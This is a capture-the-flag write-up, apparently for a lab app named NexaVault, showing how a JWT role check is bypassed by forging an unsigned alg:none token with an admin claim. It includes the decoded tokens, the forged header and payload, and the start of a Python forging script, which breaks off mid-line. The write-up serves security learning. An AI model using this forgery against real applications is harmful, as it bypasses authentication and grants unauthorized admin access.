FAM CTF : The Vault Door Writeup
Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,